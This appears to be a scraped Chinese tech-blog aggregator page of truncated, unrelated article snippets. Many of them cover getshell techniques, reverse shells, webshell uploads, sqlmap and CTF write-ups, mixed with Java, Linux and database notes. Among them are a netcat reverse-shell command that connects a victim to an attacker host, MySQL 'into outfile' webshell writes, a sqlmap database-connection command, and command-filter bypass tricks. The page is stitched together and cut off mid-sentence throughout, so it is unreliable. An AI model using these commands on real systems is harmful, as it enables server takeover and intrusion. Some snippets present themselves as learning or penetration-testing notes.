- HBase详细安装指南
嘎嘎嘎啊哈
hadoophbasebigdata
目录前言一、HBASE是什么?二、HBASE安装1.安装准备2.安装三.基本使用1.hbaseshell总结前言随着大数据时代的来临,mysql已经无法满足人们的需要,海量数据存储到达了瓶颈,hbase应运而生。提示:以下是本篇文章正文内容,下面案例可供参考一、HBASE是什么?HBase–HadoopDatabase,是一个高可靠性、高性能、面向列、可伸缩的分布式存储系统,利用HBase技术可在
- getshell思路
活着Viva
渗透小知识安全web安全php
getshell能干嘛文件上传getshell文件包含getshellsql注入getshell操作系统漏洞getshellRCEgetshell总结授人以鱼,不如授人以渔getshell能干嘛1.执行终端命令2.文件管理(增删改查)3.数据库管理(增删改查,前提找到root用户密码)文件上传getshell网站有上传点,最容易getshell。直接上传一个一句话木马,然后使用webshell管理
- Getshell总结
嘎闻旺
文章转发于:https://choge.top/2020/02/23/Getshell%E6%80%BB%E7%BB%93/Getshell分为进管理员后台Getshell和不进后台Getshell,本文主要总结常见进后台Getshell和部分。进后台Getshell管理员后台直接Getshell管理员后台直接上传Getshell,有时候带密码的Webshell连接时容易被waf拦截,可以上传不加
- 春秋云境靶场CVE-2022-25578漏洞复现(利用htaccess文件进行任意文件上传)
无名小卒且不会安全的zzyyhh
web安全文件上传漏洞
文章目录前言一、CVE-2022-25578靶场概述二、CVE-2022-25578复现需要知道的知识点1、什么是htaccess文件2、上传htaccess文件的条件是什么?3、htaccess文件的作用是什么?三、CVE-2022-32991漏洞复现1、信息收集2、找上传点3、上传后蚁剑连接getshell总结前言此文章只用于学习和反思巩固文件上传漏洞知识,禁止用于做非法攻击。注意靶场是可以练
- 如何在Tomcat后台通过文件上传getshell总结(个人学习笔记思路)
Drecrewice
渗透测试tomcatweb安全
本文仅仅用于学习笔记关于渗透测试以及交流经验,请读者遵循《中华人民共和国网络安全法》,本文造成的任何违法行为与本文作者无关。1.用空间测绘或者通过Nmap,goby扫描完成资产搜集之后,发现存在tomcat后门发现可能存在通过tomcat后门上传木马获取服务器权限的漏洞URL栏原地址后输入/manager/html弹出用户名密码登录界面默认用户名和密码都为tomcat2.准备爆破密码(默认密码to
- 反弹shell总结
拓海AE
反弹shellweb安全
反弹shell在介绍反弹链接的时候先说明什么是正向链接:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。而反弹shell是指攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。本质上是网络概念的客户端与服务端的角色反转。反
- [笔记]深入解析Windows操作系统《番外》windows关键进程解释
二进制怪兽
windows读书笔记windows
文章目录前言一、Linux起源与发展二、什么是shell1.什么是Shell总结前言一、Linux起源与发展二、什么是shell1.什么是Shell总结以上就是今天要讲的内容,本文仅仅简单介绍了linux命令行的使用。参考:shells概念centOS7中的几个Ctrl+组合键关于博主wx/qq:binary-monster/1113673178wxgzh:二进制怪兽CSDN:https://bl
- 获取webshell的十种方法
weixin_30677475
黑客在入侵企业网站时,通常要通过各种方式获取webshell从而获得企业网站的控制权,然后方便进行之后的入侵行为。本篇文章将如何获取webshell总结成为了十种方法,希望广大的企业网络管理员能够通过了解获取webshell的途径,对企业自身进行防范。一、通过上传文件类型过滤漏洞获取webshell由于未采用白名单过滤文件类型,导致asa,cer,等文件类型,未进行限制,asa,cer类型文件的映
- sqlmap拿shell
goddemon
bash开发语言
sqlmap5种思路拿shell总结①利用dump管理员类的账户后进入进行站点后拿shell或者拿到账户后远程连接进行连接进行udf类提取类拿shell#连接方法sqlmap-d“mysql://admin:
[email protected]:3306/security”admin是账号,psw是密码,后面是地址和端口,security数据库。我们数据库可以用current-db来查看②利用
- 深大操作系统实验一:并发程序设计
AkagiSenpai
操作系统堆栈linux操作系统进程线程
目录前言预备部分操作部分1.使用fork创建进程1A.创建10个子进程。1B.10层子进程嵌套1C.树形创建2.僵尸与孤儿进程2A.孤儿进程2B.僵尸进程3.线程与线程堆栈4.进程线程开销比较5.自定义shell总结前言第一个实验就把我干碎了!好大的压力呀。操作系统像一座大山,压在我的狗脑子上,一点气都喘不过来。在无数次的摆烂,抄代码,百度之后,我最终还是挺过来了,并且踉跄地把实验写完。我踩了无数
- PHP-RCE绕过的姿势总结
4v1d
webphp开发语言后端
文章目录前言一、命令执行空格过滤取反绕过命令分隔符黑名单绕过(比如flag字符)拼接编码单双引号的绕过二、代码执行linux中的直接查看文件内容工具通过命令行写入webshell无数字字母绕过webshell无回显RCE⽆字⺟数字shell总结参考文章前言做了很多的题目,静下心来学习大佬做点小总结一、命令执行空格过滤、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS等取
- VulnHub-driftingblues:9
江左盟宗主
VulnHub靶机VulnHubdriftingblues9渗透测试实例
目录简介信息收集漏洞发现与利用权限提升clapton用户Shell缓冲区溢出root用户Shell总结简介靶机地址:http://www.vulnhub.com/entry/driftingblues-9-final,695/该靶机总的来说和作者描述的一样,是简单类型的,据说和OSCP的类似。通过搜索ApPHPMicroBlog漏洞发现远程代码执行漏洞,利用该漏洞获取网站权限,通过数据库连接文件获
- 反弹shell总结
坦笑&&life
公开网络安全网络安全web安全安全运维linux服务器
反弹shell总结讲在前面说的话:反弹shell总结nc反弹shell正向shell反向shell正向shell(服务端被攻击):反向shell(客户端被攻击):无nc反弹shellpython反弹shellbash反弹shellPHP反向shellPerl反向shellJava反弹shellsocat反弹shellRuby反弹shellLua反弹shellAwk反弹shellexec反弹shel
- 【Linux】—— 进程程序替换
起飞的风筝
Linuxlinux运维服务器
目录序言(一)替换原理1、进程角度——见见猪跑1️⃣认识execl函数2、程序角度——看图理解(二)替换函数1、命名理解2、函数理解1️⃣execlp2️⃣execv3️⃣execvp4️⃣execle5️⃣execve6️⃣execve(三)自制shell总结序言在前面的文章中,我已经详细的讲解了进程的创建。但是大家是否知道创建子进程的目的是什么呢?其实很简单,无非就是让子进程帮我(父进程)执行
- Linux中profile、bashrc、bash_profile之间的区别和联系
来瓶小白干Oo
学习linuxshell
文章目录前言一、基本操作二、Linux中profile、bashrc、bash_profile之间的区别和联系```~/.bash_profile、~/.bashrc、和~/.bash_login```登录交互式Shell、非登录交互式Shell、登录非交互式Shell、非登录非交互式Shell交互式Shell:登录Shell总结前言之前一直不理解Linux下profile、bashrc、bash
- 【CTFHUB-WriteUp】pwn技能树-栈溢出-Ret2VDSO
暮诚Mucream
WriteUpCTFPWNpythonc++
目录程序分析保护检查IDA静态分析伪代码分析汇编代码分析GDB调试分析分析总结漏洞利用及原理可利用漏洞1.栈溢出利用利用思路利用原理2.srand(seed)的不安全引用利用思路利用原理Exploit1.使用栈溢出漏洞GetShell2.使用不安全的seed引用Getshell总结笔记程序分析保护检查Arch:amd64-64-littleRELRO:PartialRELROStack:Nocan
- shell总结
101之歌
刚学shell,然后用shell写了一个测试语句,发现对格式要求还是很高的,比如,如果你要比较两个值,a和b,如果你这么写,肯定会报错:[$a==$b]因此你必须在中间加空格:[$a==$b]可怕不?下面是我自己写的一个测试脚本:#!/bin/basha=10b=12if[$a==$b]thenecho"fuck"elseecho"fuck2"fi还有,如果要定义一个变量:a="1"b="2"这样
- MySQL之容灾方案解读
目录MySQL容灾方案1.主从半同步复制+手动切换2.主从半同步复制+keepalived自动切换MySQL异地备份策略容灾脚本--shell总结MySQL容灾方案容灾方案目前有以下三种容灾方案可供参考:1.主从半同步复制+手动切换方案介绍:由两台服务器上的数据库实例搭建主从架构,两个实例之间的数据同步使用MySQL半同步复制机制。主机绑定VIP,在主库故障后手动将VIP绑定至备机,将上层请求切换
- 冯诺依曼体系结构与操作系统
小熊coder
操作系统-计算机基础服务器网络linux
文章目录详解冯诺依曼体系结构与操作系统前言1.简要背景介绍2.五大部件介绍3.细节解释4.举例理解冯诺依曼机中数据走向二、全面认识操作系统1.操作系统的概念2.计算机系统比对银行系统3.深入认识“管理”:5.操作系统存在的目的6.操作系统与Shell总结冯诺依曼体系结构及操作系统的认识1.前言2.冯诺依曼体系结构2.1.结构构成2.2.硬件分析2.2.1存储器的作用2.2.2CPU2.3.实际分析
- Shell总结
serpmelon
学习的初衷在服务器上搞些事情,我意思是查日志~执行helloworld程序vimhi.sh#!/bin/bashecho"hollwworld"chmod+xhi.sh./hi.sh变量常用数据类型字符串数组如何声明变量#注意不能有空格param=strparam='str'#双引号中可以使用变量param="str"#使用变量加$或者${}echo$paramecho${param}字符串api
- 【渗透测试漏洞复现】fastjson1.2.24漏洞复现详细过程
Cgxx
JAVA安全javaweb安全
文章目录前言漏洞环境搭建漏洞利用复现处理json时发生反序列化JNDI注入反弹shell总结前言Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调
- 内网渗透:nc反弹shell总结
小诗不识月、
内网渗透bash渗透测试安全
1、实验环境Kali:192.168.32.132//模拟靶机Windows:192.168.32.1//模拟公网vps2、若靶机上存在nc,获取反向shell:vps攻击机:nc-lvp9999//监听9999端口靶机:nc1.1.1.19999-e/bin/bash//Linux正向连接公网vps1.1.1.1的9999端口nc1.1.1.19999-ec:\windows\system32\
- 渗透测试-Linux反弹shell
炫彩@之星
渗透测试安全性测试web安全安全linux
Linux反弹shell文章目录Linux反弹shell前言一、什么是反弹shell二、Linux反弹shell的几种方法1.bash反弹shell反弹shell2.常用的反弹shell命令3.基于编程语言的反弹shell4.加密反弹shell总结前言哥哥姐姐们,这期我们简单介绍一下Linux反弹shell的几种方法。一、什么是反弹shellshell是渗透中常用的名词,像getshell,web
- 进程控制(Linux)
雨轩(爵丶迹)
Linuxlinux服务器后端bash
进程控制进程创建fork函数fork函数返回值写时拷贝fork常规用法fork调用失败的原因进程终止进程退出情况进程等待进程等待的必要性进程等待的方法获取子进程status1、wait2、waitpid方法进程替换替换原理替换函数函数解释总结我们可以综合前面的知识,做一个简易的shell总结进程创建进程创建有两种方式:1、命令行启动(程序、指令等)2、通过程序自身,fork创建子进程fork函数它
- day 49 hbase 安装
韭菜盒子123
hbase
文章目录一、HBase1、Master2、RegionServer3、Region二、hbase安装hbase重置三、hbaseshell总结Iknow,iknow地球另一端有你陪我一、HBaseHBase–HadoopDatabase是一个高可靠性、高性能、面向列、可伸缩、实时读写的分布式数据库利用HadoopHDFS作为其文件存储系统利用HadoopMapReduce来处理HBase中的海量数
- Getshell总结
大猪蹄汁骨头汤
web安全网络安全
按方式分类:0x01注入getshell:0x02上传getwebshell0x03RCEgetshell0x04包含getwebshell0x05漏洞组合拳getshell0x06系统层getcmdshell0x07钓鱼getcmdshell0x08cms后台getshell0x09红队shell竞争分析0x01注入getshell:一般前提条件:有权限、知道路径MySQLselect0x3c3
- 详解冯诺依曼体系结构与操作系统
LumosJ
冯诺依曼结构操作系统linuxshell
计算机体系结构本文主要从两个方面来详细介绍计算机体系结构:1.冯诺依曼体系结构(硬件)2.操作系统(软件)文章目录计算机体系结构前言一、深入理解冯诺依曼体系结构1.简要背景介绍2.五大部件介绍3.细节解释4.举例理解冯诺依曼机中数据走向二、全面认识操作系统1.操作系统的概念2.计算机系统比对银行系统3.深入认识“管理”:4.库函数和系统调用接口5.操作系统存在的目的6.操作系统与Shell总结前言
- phpmyadmin上传Webshell总结
a阿飞
网络安全
目录1.select查询输出webshell(1)创建表并INTOOUTFILE写入一句话(2)select...INTOOUTFILE写入一句话
- mysql拿webshell总结
weixin_33795833
1、select''intooutfile'/var/www/jumbo.php';2、select''intodumpfile'/var/www/jumbo.php';3、DropTABLEIFEXISTStemp;CreateTABLEtemp(cmdtextNOTNULL);InsertINTOtemp(cmd)VALUES('');Selectcmdfromtempintooutfile'
- Hack The Box——SneakyMailer
江左盟宗主
渗透测试HackTheBoxSneakyMailerHTB渗透测试实例
目录简介信息收集子域名枚举邮件钓鱼上传WebShell权限提升Developer用户ShellLow用户ShellRoot用户Shell总结简介这是一台很有意思的靶机,比较像真实的环境,没有什么通用的漏洞,只是展现了人们在日常生活中容易犯的错误,靶机作者大概想告诉我们人性的弱点吧。首先通过网页收集到的邮件地址进行邮件钓鱼攻击,然后利用获得的邮箱密码登录邮箱查看邮件,在邮件中发现开发者用户名和密码,
- PHP,安卓,UI,java,linux视频教程合集
cocos2d-x小菜
javaUIPHPandroidlinux
╔-----------------------------------╗┆
- 各表中的列名必须唯一。在表 'dbo.XXX' 中多次指定了列名 'XXX'。
bozch
.net.net mvc
在.net mvc5中,在执行某一操作的时候,出现了如下错误:
各表中的列名必须唯一。在表 'dbo.XXX' 中多次指定了列名 'XXX'。
经查询当前的操作与错误内容无关,经过对错误信息的排查发现,事故出现在数据库迁移上。
回想过去: 在迁移之前已经对数据库进行了添加字段操作,再次进行迁移插入XXX字段的时候,就会提示如上错误。
&
- Java 对象大小的计算
e200702084
java
Java对象的大小
如何计算一个对象的大小呢?
 
- Mybatis Spring
171815164
mybatis
ApplicationContext ac = new ClassPathXmlApplicationContext("applicationContext.xml");
CustomerService userService = (CustomerService) ac.getBean("customerService");
Customer cust
- JVM 不稳定参数
g21121
jvm
-XX 参数被称为不稳定参数,之所以这么叫是因为此类参数的设置很容易引起JVM 性能上的差异,使JVM 存在极大的不稳定性。当然这是在非合理设置的前提下,如果此类参数设置合理讲大大提高JVM 的性能及稳定性。 可以说“不稳定参数”
- 用户自动登录网站
永夜-极光
用户
1.目标:实现用户登录后,再次登录就自动登录,无需用户名和密码
2.思路:将用户的信息保存为cookie
每次用户访问网站,通过filter拦截所有请求,在filter中读取所有的cookie,如果找到了保存登录信息的cookie,那么在cookie中读取登录信息,然后直接
- centos7 安装后失去win7的引导记录
程序员是怎么炼成的
操作系统
1.使用root身份(必须)打开 /boot/grub2/grub.cfg 2.找到 ### BEGIN /etc/grub.d/30_os-prober ### 在后面添加 menuentry "Windows 7 (loader) (on /dev/sda1)" { 
- Oracle 10g 官方中文安装帮助文档以及Oracle官方中文教程文档下载
aijuans
oracle
Oracle 10g 官方中文安装帮助文档下载:http://download.csdn.net/tag/Oracle%E4%B8%AD%E6%96%87API%EF%BC%8COracle%E4%B8%AD%E6%96%87%E6%96%87%E6%A1%A3%EF%BC%8Coracle%E5%AD%A6%E4%B9%A0%E6%96%87%E6%A1%A3 Oracle 10g 官方中文教程
- JavaEE开源快速开发平台G4Studio_V3.2发布了
無為子
AOPoraclemysqljavaeeG4Studio
我非常高兴地宣布,今天我们最新的JavaEE开源快速开发平台G4Studio_V3.2版本已经正式发布。大家可以通过如下地址下载。
访问G4Studio网站
http://www.g4it.org
G4Studio_V3.2版本变更日志
功能新增
(1).新增了系统右下角滑出提示窗口功能。
(2).新增了文件资源的Zip压缩和解压缩
- Oracle常用的单行函数应用技巧总结
百合不是茶
日期函数转换函数(核心)数字函数通用函数(核心)字符函数
单行函数; 字符函数,数字函数,日期函数,转换函数(核心),通用函数(核心)
一:字符函数:
.UPPER(字符串) 将字符串转为大写
.LOWER (字符串) 将字符串转为小写
.INITCAP(字符串) 将首字母大写
.LENGTH (字符串) 字符串的长度
.REPLACE(字符串,'A','_') 将字符串字符A转换成_
- Mockito异常测试实例
bijian1013
java单元测试mockito
Mockito异常测试实例:
package com.bijian.study;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.when;
import org.junit.Assert;
import org.junit.Test;
import org.mockito.
- GA与量子恒道统计
Bill_chen
JavaScript浏览器百度Google防火墙
前一阵子,统计**网址时,Google Analytics(GA) 和量子恒道统计(也称量子统计),数据有较大的偏差,仔细找相关资料研究了下,总结如下:
为何GA和量子网站统计(量子统计前身为雅虎统计)结果不同?
首先:没有一种网站统计工具能保证百分之百的准确出现该问题可能有以下几个原因:(1)不同的统计分析系统的算法机制不同;(2)统计代码放置的位置和前后
- 【Linux命令三】Top命令
bit1129
linux命令
Linux的Top命令类似于Windows的任务管理器,可以查看当前系统的运行情况,包括CPU、内存的使用情况等。如下是一个Top命令的执行结果:
top - 21:22:04 up 1 day, 23:49, 1 user, load average: 1.10, 1.66, 1.99
Tasks: 202 total, 4 running, 198 sl
- spring四种依赖注入方式
白糖_
spring
平常的java开发中,程序员在某个类中需要依赖其它类的方法,则通常是new一个依赖类再调用类实例的方法,这种开发存在的问题是new的类实例不好统一管理,spring提出了依赖注入的思想,即依赖类不由程序员实例化,而是通过spring容器帮我们new指定实例并且将实例注入到需要该对象的类中。依赖注入的另一种说法是“控制反转”,通俗的理解是:平常我们new一个实例,这个实例的控制权是我
- angular.injector
boyitech
AngularJSAngularJS API
angular.injector
描述: 创建一个injector对象, 调用injector对象的方法可以获得angular的service, 或者用来做依赖注入. 使用方法: angular.injector(modules, [strictDi]) 参数详解: Param Type Details mod
- java-同步访问一个数组Integer[10],生产者不断地往数组放入整数1000,数组满时等待;消费者不断地将数组里面的数置零,数组空时等待
bylijinnan
Integer
public class PC {
/**
* 题目:生产者-消费者。
* 同步访问一个数组Integer[10],生产者不断地往数组放入整数1000,数组满时等待;消费者不断地将数组里面的数置零,数组空时等待。
*/
private static final Integer[] val=new Integer[10];
private static
- 使用Struts2.2.1配置
Chen.H
apachespringWebxmlstruts
Struts2.2.1 需要如下 jar包: commons-fileupload-1.2.1.jar commons-io-1.3.2.jar commons-logging-1.0.4.jar freemarker-2.3.16.jar javassist-3.7.ga.jar ognl-3.0.jar spring.jar
struts2-core-2.2.1.jar struts2-sp
- [职业与教育]青春之歌
comsci
教育
每个人都有自己的青春之歌............但是我要说的却不是青春...
大家如果在自己的职业生涯没有给自己以后创业留一点点机会,仅仅凭学历和人脉关系,是难以在竞争激烈的市场中生存下去的....
&nbs
- oracle连接(join)中使用using关键字
daizj
JOINoraclesqlusing
在oracle连接(join)中使用using关键字
34. View the Exhibit and examine the structure of the ORDERS and ORDER_ITEMS tables.
Evaluate the following SQL statement:
SELECT oi.order_id, product_id, order_date
FRO
- NIO示例
daysinsun
nio
NIO服务端代码:
public class NIOServer {
private Selector selector;
public void startServer(int port) throws IOException {
ServerSocketChannel serverChannel = ServerSocketChannel.open(
- C语言学习homework1
dcj3sjt126com
chomework
0、 课堂练习做完
1、使用sizeof计算出你所知道的所有的类型占用的空间。
int x;
sizeof(x);
sizeof(int);
# include <stdio.h>
int main(void)
{
int x1;
char x2;
double x3;
float x4;
printf(&quo
- select in order by , mysql排序
dcj3sjt126com
mysql
If i select like this:
SELECT id FROM users WHERE id IN(3,4,8,1);
This by default will select users in this order
1,3,4,8,
I would like to select them in the same order that i put IN() values so:
- 页面校验-新建项目
fanxiaolong
页面校验
$(document).ready(
function() {
var flag = true;
$('#changeform').submit(function() {
var projectScValNull = true;
var s ="";
var parent_id = $("#parent_id").v
- Ehcache(02)——ehcache.xml简介
234390216
ehcacheehcache.xml简介
ehcache.xml简介
ehcache.xml文件是用来定义Ehcache的配置信息的,更准确的来说它是定义CacheManager的配置信息的。根据之前我们在《Ehcache简介》一文中对CacheManager的介绍我们知道一切Ehcache的应用都是从CacheManager开始的。在不指定配置信
- junit 4.11中三个新功能
jackyrong
java
junit 4.11中两个新增的功能,首先是注解中可以参数化,比如
import static org.junit.Assert.assertEquals;
import java.util.Arrays;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runn
- 国外程序员爱用苹果Mac电脑的10大理由
php教程分享
windowsPHPunixMicrosoftperl
Mac 在国外很受欢迎,尤其是在 设计/web开发/IT 人员圈子里。普通用户喜欢 Mac 可以理解,毕竟 Mac 设计美观,简单好用,没有病毒。那么为什么专业人士也对 Mac 情有独钟呢?从个人使用经验来看我想有下面几个原因:
1、Mac OS X 是基于 Unix 的
这一点太重要了,尤其是对开发人员,至少对于我来说很重要,这意味着Unix 下一堆好用的工具都可以随手捡到。如果你是个 wi
- 位运算、异或的实际应用
wenjinglian
位运算
一. 位操作基础,用一张表描述位操作符的应用规则并详细解释。
二. 常用位操作小技巧,有判断奇偶、交换两数、变换符号、求绝对值。
三. 位操作与空间压缩,针对筛素数进行空间压缩。
&n
- weblogic部署项目出现的一些问题(持续补充中……)
Everyday都不同
weblogic部署失败
好吧,weblogic的问题确实……
问题一:
org.springframework.beans.factory.BeanDefinitionStoreException: Failed to read candidate component class: URL [zip:E:/weblogic/user_projects/domains/base_domain/serve
- tomcat7性能调优(01)
toknowme
tomcat7
Tomcat优化: 1、最大连接数最大线程等设置
<Connector port="8082" protocol="HTTP/1.1"
useBodyEncodingForURI="t
- PO VO DAO DTO BO TO概念与区别
xp9802
javaDAO设计模式bean领域模型
O/R Mapping 是 Object Relational Mapping(对象关系映射)的缩写。通俗点讲,就是将对象与关系数据库绑定,用对象来表示关系数据。在O/R Mapping的世界里,有两个基本的也是重要的东东需要了解,即VO,PO。
它们的关系应该是相互独立的,一个VO可以只是PO的部分,也可以是多个PO构成,同样也可以等同于一个PO(指的是他们的属性)。这样,PO独立出来,数据持